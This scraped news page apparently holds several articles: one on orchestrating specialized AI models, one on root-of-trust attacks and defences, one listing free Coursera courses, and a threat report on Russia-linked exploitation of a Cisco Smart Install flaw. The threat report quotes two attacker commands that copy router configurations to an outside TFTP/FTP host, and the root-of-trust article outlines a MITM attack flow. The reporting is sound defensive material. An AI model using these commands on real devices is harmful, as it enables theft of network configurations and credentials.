Connect with us

education

AI’s Next Era: Orchestrating Specialists, Not One Big Model

Published

3 days ago

on

AI’s Next Era: Orchestrating Specialists, Not One Big Model

AI isn’t “one giant model for everything” anymore. The fastest progress is coming from specialized models—each excellent at a narrow slice of the problem—and smart integration that routes the right task to the right model. Here’s a clear, practical tour of the landscape and how to use it.

Why specialization beats one-size-fits-all

  • Latency & cost: Smaller or task-specific models respond in milliseconds and are cheap to run; giant generalists aren’t.
  • Accuracy on niche tasks: A focused vision model or segmenter will often beat a general LLM + prompt tricks.
  • Deployment reality: Some workloads must run on device (privacy, offline) or at the edge (robots, cameras).
  • Composable systems: Orchestrating multiple models lets you blend strengths—reason with one, perceive with another, act with an agent.

The roster (what each acronym really means)

🔹 LLM — Large Language Model

  • What it is: A generalist text model for reasoning, content generation, coding help, retrieval-augmented Q&A.
  • Strengths: Broad world knowledge, chain-of-thought reasoning, tool use via function calling.
  • Limits: Slower and costlier than small models; can hallucinate; not great at fine visual detail.

🔹 LCM — Latent/Lightweight Consistency Model (compact diffusion)

  • What it is: A diffusion-style model reworked for very fast image generation/upscaling.
  • Strengths: Few inference steps → near-real-time visuals; great for product mockups, ads, thumbnails.
  • Limits: Narrow domain (images/video); text/logic still needs an LLM.

🔹 LAM — Language/Logic Agents

  • What it is: Planners/executors that call tools, browse, write code, schedule jobs, and evaluate results.
  • Strengths: Turns model outputs into actions; automates multi-step workflows with guardrails.
  • Limits: Needs good tools, memory, and evaluation loops; careless agents can “run away.”

🔹 MoE — Mixture of Experts

  • What it is: A big model built from many “experts”; a router activates only a few per token.
  • Strengths: Scales capacity without paying the full compute cost every step; good for multilingual/heterogeneous tasks.
  • Limits: Harder to train/serve; quality depends on good routing.

🔹 VLM — Vision-Language Model

  • What it is: Multimodal models that read images (and often video) + text.
  • Strengths: Screenshot Q&A, chart understanding, document analysis, UI testing, visual troubleshooting.
  • Limits: Still learning fine text in images, small fonts, edge cases; may need OCR aids.

🔹 SLM — Small Language Model

  • What it is: Compact LLM (10B parameters or less) for edge/on-device work.
  • Strengths: Low latency, private by default, runs on laptops/phones/IoT; great for autocomplete and local assistants.
  • Limits: Narrower knowledge, weaker long-form reasoning; often paired with retrieval.

🔹 MLM — Masked Language Model (e.g., BERT-style)

  • What it is: Pretraining objective that predicts missing tokens; great encoder for classification/search.
  • Strengths: Semantic search, topic labeling, PII detection, entity extraction; fast and stable.
  • Limits: Not generative; pair with an LLM when you need prose or code.

🔹 SAM — Segment Anything Model

  • What it is: Foundation segmentation for images; pick out objects, regions, people—no labels needed.
  • Strengths: Annotation at scale, medical pre-segmentation, retail shelf parsing, industrial inspection.
  • Limits: Doesn’t “understand” the object class; combine with a classifier/VLM for semantics.

Quick chooser: which model for which job?

GoalBest fitWhy
Long answers, reasoning, coding helpLLMBroad knowledge + tool use
Instant images or editsLCMFew steps → fast + cheap
Automate multi-step tasksLAM (agent)Plans, calls APIs, checks results
Scale quality across domainsMoECapacity without full compute
Screenshot / PDF / chart Q&AVLMMultimodal grounding
Private, on-device assistantSLMLow latency + privacy
Search, classify, extract entitiesMLMStrong encoder semantics
Cut objects out of imagesSAMRobust, label-free segmentation

How they work together (a simple blueprint)

User request → Router → Orchestrator (Agent) → Tools/Models → Verifier → Answer

  1. Router tags the task (vision, search, segmentation, write).
  2. Agent (LAM) plans steps and calls:
    • VLM to read a screenshot,
    • SAM to isolate a component,
    • MLM to extract fields,
    • LLM/SLM to explain or draft,
    • LCM to render a visual.
  3. Verifier/critic (could be a second small model or rules) checks safety, facts, or formatting.
  4. Response is returned; artifacts (images, JSON) are attached.

This “specialization + integration” pattern beats any single model on speed, cost, and reliability.

Design trade-offs you’ll actually feel

  • Latency: SLMs and LCMs are sub-second; large LLMs are not.
  • Privacy: On-device SLM + local VLM can keep data off the cloud.
  • Accuracy: Domain tasks (vision, segmentation, extraction) usually win with VLM/SAM/MLM over prompting a general LLM.
  • Cost control: Use SLM/MLM for 80% of routine work; escalate to a larger LLM only when needed.
  • Maintenance: More moving parts → add observability (per-model metrics, routing logs, error budgets).

Evaluation playbook (keep it simple)

  • Define slices: e.g., “OCR-heavy PDFs,” “charts,” “legal text,” “UI screenshots.”
  • Pick metrics: EM/F1 for extraction (MLM), IoU for segmentation (SAM), latency & cost per call, human preference for LLM outputs.
  • A/B the router: Measure when it sends tasks to the “expensive” model—can a small model handle it?
  • Guardrails: Safety filters, citation checks (for RAG), and a lightweight self-check pass on critical outputs.

Three mini-patterns you can borrow

  1. Help desk with eyes: VLM reads user screenshots → SAM crops error dialog → LLM writes the fix; average handle time drops, fewer back-and-forths.
  2. Catalog cleanup: SAM segments product photos → VLM describes → MLM tags → LCM generates clean hero images.
  3. Private coding copilot: SLM runs on the developer’s laptop (context from local repo) → MoE backend only for hard refactors.

Getting started (no drama, just steps)

  1. Map your top 5 tasks and their constraints (privacy, latency, budget).
  2. Start with one specialist beside your LLM (e.g., VLM for screenshots, or MLM for extraction).
  3. Add a tiny router (heuristics at first) and log decisions.
  4. Introduce an agent once you have 2–3 tools to chain.
  5. Instrument everything: latency, cost, success rate, fallback counts.
  6. Iterate—promote frequent fallbacks to first-class tools, demote what you don’t use.

The bottom line

The future of AI isn’t a bigger hammer. It’s a toolbox:

  • LLMs for reasoning,
  • VLM/SAM for seeing,
  • MLM for knowing,
  • LCM for drawing,
  • SLM for speed and privacy,
  • LAM to coordinate,
  • MoE to scale.

Specialization + integration is how you get real-world performance.

“The future of AI isn’t a bigger model—it’s a better orchestra.
LLMs reason, VLMs see, SAM segments, MLMs extract, SLMs protect privacy at the edge, and agents coordinate the flow.
Real performance comes from routing the right task to the right specialist and measuring the system end-to-end.”
— El Mostafa Ouchen, cybersecurity author and analyst

Related Topics:
Continue Reading

data breaches

Hardware-Level Cybersecurity: How to Stop Root-of-Trust Exploits

Published

3 days ago

on

24 August 2025

By

Hardware-Level Cybersecurity: How to Stop Root-of-Trust Exploits

Secret Blizzard’s embassy campaign shows why device trust beats TLS trust alone—and how to harden firmware, keys, and boot chains

A new expert analysis warns that root-of-trust (RoT) compromises can neutralize MFA and FIDO protections by subverting certificate trust and boot integrity. The campaign—linked to Secret Blizzard—demonstrates that once a system’s trust anchor is controlled, attackers can man-in-the-middle “secure” sessions and persist below the OS. This guide details practical defenses and standards-based controls.

A recent case study shows Russian-backed Secret Blizzard bypassing MFA at foreign embassies by tampering with the root of trust—the very mechanism devices use to decide what (and whom) to trust online. Instead of phishing credentials, attackers inserted a rogue root certificate and intercepted encrypted traffic without warnings, proving that TLS-anchored MFA fails when the device’s trust store is compromised.

What Happened

  • Attack essence: Control the victim’s local trust anchor (root CA / trust store) → impersonate sites via MITM → harvest tokens, cookies, and MFA flows without browser alerts.
  • Why it matters: FIDO/WebAuthn assume authentic TLS. If TLS validation is subverted, MFA loses its authenticity check.
  • Who’s at risk: Any org that relies solely on TLS + MFA without device-bound credentials, firmware integrity, and independent attestation—especially governments, cloud operators, finance, and enterprises with high-risk network locales.

“A root-of-trust compromise undermines all TLS-based protections, including FIDO-based MFA.” — The Hacker News expert analysis summarizing the campaign. The Hacker News

“Platform firmware must be protected, corruption detected, and recovery ensured in the event of compromise.” — NIST SP 800-193 (Platform Firmware Resiliency). NIST Publications

“Treat firmware and trust stores as live attack surfaces. Bind credentials to hardware, enforce measured boot, and continuously attest device state—or assume your MFA can be silently routed.” — El Mostafa Ouchen, cybersecurity author and analyst.

Technical Deep Dive

1) Root-of-Trust Attack Flow

  1. Trust Store Tampering: Adversary adds a malicious root CA or manipulates the device PKI.
  2. TLS Impersonation (MITM): The attacker issues leaf certs for target domains. The browser accepts them because the rogue root is trusted.
  3. Session Interception: Harvest SAML/OIDC tokens, cookies, and challenge/response flows—even with WebAuthn/FIDO—because the browser “thinks” it’s talking to the real site.

2) Why Firmware & Boot Matter

Above the OS, EDRs and browsers can’t see a poisoned trust anchor set during early boot or via privileged management engines. UEFI/firmware persistence was proven feasible by LoJax, the first in-the-wild UEFI rootkit, showing long-lived pre-OS footholds.

3) Controls That Actually Help

  • Device-bound, non-exportable keys (TPM/Secure Enclave/Pluton): Keys never leave hardware; sign-in requires the physical device.
  • Measured & Verified Boot: Record each boot stage in hardware and verify with policies; quarantine on mismatch. Follow NIST SP 800-193 for protect-detect-recover.
  • Independent Root of Trust for Credentials: Co-sign credentials with both the device and the identity cloud, so a tampered local trust store can’t forge identity.
  • Mutual Cryptographic Verification: Device ↔️ IdP both attest to each other beyond TLS (e.g., hardware signals + cloud policy).
  • Continuous Session Risk Checks: Re-evaluate device posture and revoke access mid-session on trust drift (rogue CA detected, boot log mismatch).

MITRE ATT&CK Mapping (selected)

  • Initial Access: Valid Accounts via session hijack (T1078), Exploit Trusted Relationship (T1199).
  • Defense Evasion: Modify Authentication Process / Subvert Trust Controls (T1556.004), Subvert Trust Controls (T1553).
  • Credential Access: Web session cookie theft (T1539 via MITM).
  • Persistence: Modify Boot/UEFI (T1542.003).
  • Command & Control: Web protocols over TLS (T1071.001).
    (IDs aligned to Enterprise matrix; exact sub-techniques vary by environment.)

Impact & Response

Impact: Stolen sessions, bypassed MFA, and durable persistence if boot firmware is altered. Government and regulated sectors face heightened compliance and reporting exposure given device trust failures.

Immediate actions (step-by-step):

  1. Inventory & lock trust stores: Alert on new root CAs; require admin-approval workflows + logging for CA changes.
  2. Turn on measured/verified boot across fleets; export boot measurements to an attestation service.
  3. Bind credentials to hardware: Enforce TPM/Secure Enclave/Pluton-backed keys; disable fallbacks to exportable secrets.
  4. Session protection: Short-lived tokens, continuous re-auth on posture drift, and token binding where available.
  5. Firmware discipline: Apply OEM updates; enable write protection on SPI flash; require signed UEFI capsules; monitor for UEFI variable anomalies.
  6. Isolation on suspicion: If rogue CAs or boot mismatches are detected, block access, capture measurements, and route the device to firmware re-flash / secure recovery.

Background & Context

  • Real-world precedent: LoJax proved UEFI persistence in the wild (Sednit/Fancy Bear), making below-OS implants a practical threat.
  • Raising the baseline: Vendors are pushing hardware roots like Microsoft Pluton to bring TPM-class security inside the CPU and enable simpler, updateable attestation at scale.

What’s Next

Expect wider adoption of hardware-anchored identity, token binding, and continuous device attestation—and likely policy mandates in government and critical infrastructure to implement NIST’s protect-detect-recover firmware model. For defenders, the lesson is clear: move trust from the network perimeter into silicon.

Root-of-Trust (RoT) Defense Checklist for CISOs & IT Teams

Infographic checklist outlining six defense strategies for Root-of-Trust (RoT) attacks, including firmware integrity, credential binding, trust store monitoring, supply chain controls, and incident response.
Root-of-Trust (RoT) Defense Checklist — key steps CISOs and IT teams can take to secure firmware, enforce device-bound credentials, monitor trust stores, and respond to breaches.

1. Firmware & Boot Integrity

  • ✅ Enable Secure Boot + Verified Boot on all endpoints.
  • ✅ Turn on measured boot and forward logs to an attestation service (e.g., Microsoft Defender ATP or custom MDM).
  • ✅ Apply NIST SP 800-193 Protect–Detect–Recover guidance: enable rollback protection, watchdogs, and signed firmware updates.

2. Credential Binding

  • ✅ Require TPM/Secure Enclave/Pluton for storing keys (disable exportable software keys).
  • ✅ Enforce device-bound FIDO2 credentials in identity providers (Azure AD, Okta, Google Workspace).
  • ✅ Turn off legacy MFA fallback (e.g., SMS or OTP that bypass hardware).

3. Trust Store & Certificates

  • ✅ Monitor for rogue root certificates in Windows/Mac/Linux trust stores.
  • ✅ Enforce admin-only CA installs with logging and SIEM integration.
  • ✅ Run weekly CA inventory scans; alert on any unauthorized roots.

4. Session Protection

  • ✅ Enable token binding where supported (ties session to device).
  • ✅ Enforce short-lived tokens (e.g., 10–15 min for critical apps).
  • ✅ Turn on continuous risk evaluation—revoke sessions on CA mismatch or boot measurement drift.

5. Supply-Chain & Device Controls

  • ✅ Use OEM-signed firmware only; enable capsule update verification.
  • ✅ Lock SPI flash where hardware supports it.
  • ✅ Segment management engines (iLO, iDRAC, BMC) into separate VLANs with strict ACLs.

6. Incident Response Playbook

  • ✅ Isolate any device with trust-store anomalies or boot log mismatch.
  • ✅ Re-flash firmware with vendor images, not OS reinstalls (malware may survive).
  • ✅ Rotate all keys and certificates tied to that device.
  • ✅ Conduct a forensic review of boot/firmware logs for persistence artifacts.

📌 Pro Tip from El Mostafa Ouchen:

“Defenders must treat trust anchors—firmware, secure boot, TPMs—not as passive baselines but as active attack surfaces. Building continuous attestation pipelines is the only way to catch RoT drift before adversaries turn MFA into a bypassed formality.”

Sources:

  • The Hacker News — Expert Insights (Aug 18, 2025): Secret Blizzard’s RoT attack path and countermeasures (device-bound credentials, independent roots, mutual verification, continuous checks). The Hacker News
  • NIST SP 800-193 (2018): Platform Firmware Resiliency—protect, detect, recover model; measured/verified boot guidance. NIST Publications
  • ESET (LoJax, 2018): First in-the-wild UEFI rootkit demonstrating pre-OS persistence risk. web-assets.esetstatic.comwelivesecurity.com
  • Microsoft Pluton (2025 docs): Silicon-level root of trust, TPM 2.0 functionality, and updateable hardware security. Microsoft Learn+1TECHCOMMUNITY.MICROSOFT.COM
Continue Reading

education

Top Free Coursera Courses to Boost Your Career in 25-26

Published

4 days ago

on

23 August 2025

By

Top Free Coursera Courses to Boost Your Career in 25-26

AI, data, cybersecurity and project management lead the list as employers prioritize job-ready skills. Here are high-quality Coursera courses you can audit for free—plus how to enroll at no cost.

With the labor market rewarding tech and analytical skills, learners are turning to Coursera’s audit-for-free options to reskill fast. From Google’s career certificates to Andrew Ng’s machine-learning classics, these 2025 picks cover AI, data, cybersecurity, UX and more—complete with enrollment links and a quick guide to taking them for free.

In a year defined by AI adoption and data-driven decision-making, free online courses have become one of the fastest ways to sharpen in-demand skills. Coursera continues to offer thousands of classes with no tuition in audit mode—letting learners watch lectures, read materials and practice exercises before deciding whether to pay for a certificate.

Curated Course Picks (Audit for Free)

Artificial Intelligence & Machine Learning

  • Google AI Essentials → https://lnkd.in/gby_5vns
    Practical AI foundations and responsible use for business workflows.
  • AI for Everyone (Andrew Ng) → https://lnkd.in/grgJGawB
    Non-technical overview of what AI can and cannot do in organizations.
  • Machine Learning (Andrew Ng) → https://lnkd.in/gFad6pNE
    Classic intro to ML: supervised/unsupervised learning, evaluation, workflows.
  • Neural Networks & Deep Learning → https://lnkd.in/g53wXSHA
    Deep-learning fundamentals: backprop, vectorization, and training tricks.
  • Deep Learning → https://lnkd.in/gaa5strv
    Convolutional nets, sequence models, and practical optimization.

Data Analytics & BI

Cybersecurity & IT

Project Management & Business

UX, Front-End & Digital Marketing

Extras That Broaden Your Profile

How to Take Coursera Courses for Free (Audit Mode)

  1. Open the course page and click Enroll.
  2. Look for “Audit the course” or “Full course, no certificate.”
  3. If the course is part of a Specialization, audit each course individually.
  4. Note: Graded assignments, peer-reviewed tasks, and certificates may require payment; core videos and readings are typically free.
  5. Need verification or financial support? Many programs offer Financial Aid—apply from the course page.

Make Your Learning Pay Off

  • Build a portfolio: share GitHub notebooks, dashboards (Power BI/Tableau), UX case studies, or mini-projects tied to each course.
  • Document outcomes: 3–5 bullet points per course on skills gained and tools used.
  • Post on LinkedIn: attach project links, tag instructors or institutions, and describe your problem-solving process.
  • Capstone wisely: if you’ll pay for only one certificate, choose the course with a capstone project you can show employers.
  • Join communities: study groups and Telegram/Discord channels help with accountability.

Background

Coursera’s audit option has long expanded access to university-level content from partners like Stanford, Google, IBM and Meta. In 2025, demand remains strongest across AI/ML, data analytics, cybersecurity, cloud, UX, and project management, mirroring hiring trends in tech and data-centric roles.

Continuous learning is a career multiplier. Start with one of the free audit options above, build a small project, and post it to your portfolio. The combination of evidence of skill + consistent learning is still the most reliable way to stand out in 2025-2026.

Continue Reading

data breaches

Why Old Cisco Bugs Are Fueling New Espionage Campaigns

Published

4 days ago

on

23 August 2025

By

Why Old Cisco Bugs Are Fueling New Espionage Campaigns

“Static Tundra,” tied to Russia’s FSB Center 16, is abusing a 2018 Cisco Smart Install bug to loot configs and plant router implants across critical infrastructure, Cisco Talos and the FBI warn. Patch or disable SMI now.


The FBI and Cisco Talos warned that an FSB-linked group dubbed Static Tundra is exploiting CVE-2018-0171 in Cisco IOS/IOS XE Smart Install to compromise unpatched and end-of-life devices. Targets span telecom, higher education and manufacturing, with activity focused on configuration theft, long-term persistence and reconnaissance against U.S. critical infrastructure and allied networks.

WASHINGTON — Aug. 20, 2025. The FBI is urging organizations to immediately secure unpatched Cisco networking gear after identifying a year-long cyber-espionage campaign by Static Tundra, a group linked to Russia’s FSB Center 16, that is exploiting a seven-year-old Cisco Smart Install flaw to gain and maintain access to critical networks.

What Happened

Cisco Talos says Static Tundra is compromising unpatched and often end-of-life Cisco devices by abusing CVE-2018-0171 (Smart Install) and then using SNMP and custom tooling to quietly siphon device configurations and persist for years. Victims include organizations in telecom, higher education and manufacturing across North America, Europe, Asia and Africa.

“The purpose of this campaign is to compromise and extract device configuration information en masse,” Cisco Talos wrote. Cisco Talos Blog

The FBI’s public advisory notes the actors collected configuration files for thousands of networking devices tied to U.S. critical infrastructure and, in some cases, modified configs to enable unauthorized access.

Who Is “Static Tundra”

Talos assesses Static Tundra as a sub-cluster of Energetic/Berserk Bear, historically linked to FSB Center 16. The current campaign escalated alongside Russia’s war on Ukraine, with strategic targeting of Ukraine and allied countries.

Technical Analysis: How the Intrusion Works

Initial Access

  • Exploits CVE-2018-0171 in Cisco Smart Install (TCP 4786), enabling device reloads or arbitrary code execution. Patch was released in 2018 but many devices remain unpatched and some are EoL.

Execution & Lateral Operations

  • Leverages SNMP (often v1/v2, weak or guessed community strings) to change running configs, create local users or enable legacy services (e.g., TELNET).
  • Redirects interesting traffic via GRE tunnels and harvests NetFlow for intel value.

Persistence & Defense Evasion

  • Deploys the historical SYNful Knock router implant (2015) for firmware-level persistence; access triggered by a “magic” TCP SYN packet.
  • Modifies TACACS+ configuration and ACLs to impair logging and restrict access for stealth.

Data Collection & Exfiltration

  • Bulk exfiltration of startup/running configs using TFTP/FTP and CISCO-CONFIG-COPY-MIB, e.g.:
    do show running-config | redirect tftp://<ip>/conf_bckp
    copy running-config ftp://user:pass@<ip>/output.txt

Approximate MITRE ATT&CK Mapping (Enterprise)

  • T1190 Exploit Public-Facing Application (Smart Install exposure)
  • T1078 Valid Accounts (compromised/weak SNMP strings)
  • T1601 Modify System Image (SYNful Knock firmware implant)
  • T1048.003 Exfiltration Over Unencrypted/Non-C2 Protocol (TFTP/FTP)
  • T1562 Impair Defenses (logging/TACACS+ changes)
    (Mappings inferred from Talos/FBI behaviors.)

Impact & Response

Affected Systems/Users: Unpatched or EoL Cisco IOS/IOS XE devices with Smart Install enabled—commonly older Catalyst and some Nexus models—used inside critical infrastructure, universities and manufacturers. The FBI observed thousands of U.S.-connected devices impacted.

Immediate Actions Recommended:

  • Patch to a fixed IOS/IOS XE release or disable Smart Install (“no vstack”) if patching isn’t possible.
  • Retire/replace EoL gear; enforce SNMPv3, rotate community strings, disable TELNET, and lock down TACACS+.
  • Hunt for SYNful Knock indicators and unusual config changes; validate AAA/logging pipelines.

Potential Legal/Regulatory Fallout: Owners/operators of covered critical infrastructure may face enhanced scrutiny under sector risk-management agency guidance and incident-reporting obligations if unauthorized access or data exfiltration is confirmed. (General regulatory context; check sector-specific rules.)

The Smart Install bug (CVE-2018-0171) has been repeatedly abused since disclosure, and other states (e.g., China’s Salt Typhoon) have also targeted Cisco routers—underscoring the long tail of unpatched edge devices.

Reuters and other outlets reported the FBI/Cisco warnings highlight Center 16 activity and the strategic value of router footholds for long-term espionage.

FBI (IC3 PSA): Russian FSB actors are “exploiting … an unpatched vulnerability (CVE-2018-0171) in Cisco Smart Install” to target U.S. and global entities.

Cisco Talos: “Static Tundra is linked to the FSB’s Center 16 and targets unpatched, often end-of-life devices for long-term intelligence gathering.”

El Mostafa Ouchen, cybersecurity author and analyst: “Treat aging routers like unmonitored servers at the perimeter—if you can’t patch, decommission. Assume configs are loot and monitor for silent changes.”

What Comes Next

Expect continued scanning of exposed SMI endpoints, copy-cat operations by other states, and stepped-up pressure on operators to replace EoL gear and harden network devices with the same rigor applied to servers and endpoints.

Fast Facts (for editors)

  • Threat actor/malware: Static Tundra (FSB Center 16 sub-cluster; Energetic/Berserk Bear lineage); historic SYNful Knock implant.
  • CVE: CVE-2018-0171 (Cisco Smart Install).
  • Sectors hit: Telecom, higher education, manufacturing; focus on U.S. critical infrastructure and allies. Cisco Talos BlogInternet Crime Complaint Center

Sources:

Cisco Talos blog on Static Tundra; FBI IC3 Public Service Announcement (Aug. 20, 2025); Cisco CVE-2018-0171 advisory/NVD; Reuters and trade press coverage. Cisco Talos BlogInternet Crime Complaint CenterNVDReutersCybersecurity Dive

Continue Reading

Trending

Copyright 2024 / Mag212